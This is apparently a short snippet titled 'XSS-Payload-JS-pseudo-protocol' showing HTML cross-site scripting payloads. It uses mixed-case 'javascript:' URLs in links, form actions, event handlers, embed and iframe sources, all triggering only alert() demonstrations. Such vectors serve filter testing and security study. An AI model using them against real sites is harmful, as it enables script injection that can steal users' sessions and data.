XSS-Payload-JS-pseudo-protocol

by zicai

HTML

<!-- JavaScript 伪协议:大小写不敏感 -->
<a href="jAvaScriPt:alert('a-href')">click me</a>

<form action="jAvaScriPt:alert('form-action')">
  <button>submit</button>
</form>

<span onmouseover="jAvaScriPt:alert('event handler')">hover me</span>

<embed src="jAvaScriPt:alert('embed-src')" type=""><!-- only firefox -->

<iframe src="jAvaScriPt:alert('iframe-src')" frameborder="0"></iframe>